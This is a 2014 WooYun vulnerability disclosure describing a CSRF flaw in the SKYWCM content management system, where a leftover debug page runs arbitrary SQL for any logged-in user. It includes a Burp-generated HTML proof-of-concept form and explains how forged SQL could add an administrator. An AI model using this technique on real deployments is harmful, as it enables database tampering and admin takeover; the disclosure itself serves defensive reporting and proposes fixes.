当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075538

漏洞标题：擎天科技SKYWCM全版本CSRF漏洞，可执行任意SQL

相关厂商：南京擎天科技

漏洞作者： Asuri

提交时间：2014-09-15 11:51

修复时间：2014-12-14 11:52

公开时间：2014-12-14 11:52

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-15： 细节已通知厂商并且等待厂商处理中
2014-09-20： 厂商已经确认，细节仅向厂商公开
2014-09-23： 细节向第三方安全合作伙伴开放
2014-11-14： 细节向核心白帽子及相关领域专家公开
2014-11-24： 细节向普通白帽子公开
2014-12-04： 细节向实习白帽子公开
2014-12-14： 细节向公众公开

简要描述：

原先都觉得这个地方没什么太大问题，毕竟必须要登陆才能访问，危害就不会那么严重，后来发现这里还有CSRF，就不一样了。
目前skywcm的版本主要是v3.0，v3.1，v3.2， M
这几个版本中都存在这个问题

详细说明：

漏洞页面:/skywcm/skywcm/bat/cmd.jsp

QQ20140909-1.png


也是搞不懂这里放一个执行SQL到底有什么意义，并且整个后台没有指向这个页面的链接，我就理解为是开发过程中放在这里的一个调试页面吧。
可以执行任意SQL语句，但是只会返回"执行成功"或"执行失败“

QQ20140909-2.png


另外，这里存在CSRF漏洞
用BurpSuite生成CSRF_POC

QQ20140909-3.png


保存成HTML文件，然后在登陆skywcm后台的情况下点击提交

QQ20140909-4.png


那么，通过任何方式获悉了skywcm后端数据库结构的人，都可以构造一个添加管理员的CSRF表单，里面是添加管理员的SQL语句，然后诱使任何能够登陆后台的用户点击。
主注意，这个页面只需要能够登陆后台就可以访问，不需要管理员身份，所以即使是权限很低的用户都可以在这个页面上执行SQL语句

漏洞证明：

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://www.target.com/skywcm/skywcm/bat/cmd_do.jsp" method="POST">
      <input type="hidden" name="biz_action" value="3" />
      <input type="hidden" name="sql" value="select 1 from dual " />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


这个....估计不是很方便验证，因为都需要登陆才能访问。
不登陆的情况下提交这个表单，都会被重定向到后台登陆页面，同时也说明，这个文件确实存在。

修复方案：

和之前发布的任意文件下载漏洞一样，不如直接把这个页面去掉吧
如果确实有需要，也做一下CSRF的防御，验证表单来源或者token

版权声明：转载请注明来源 Asuri@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-09-20 08:54

厂商回复：

最新状态：

暂无

漏洞评价：

评论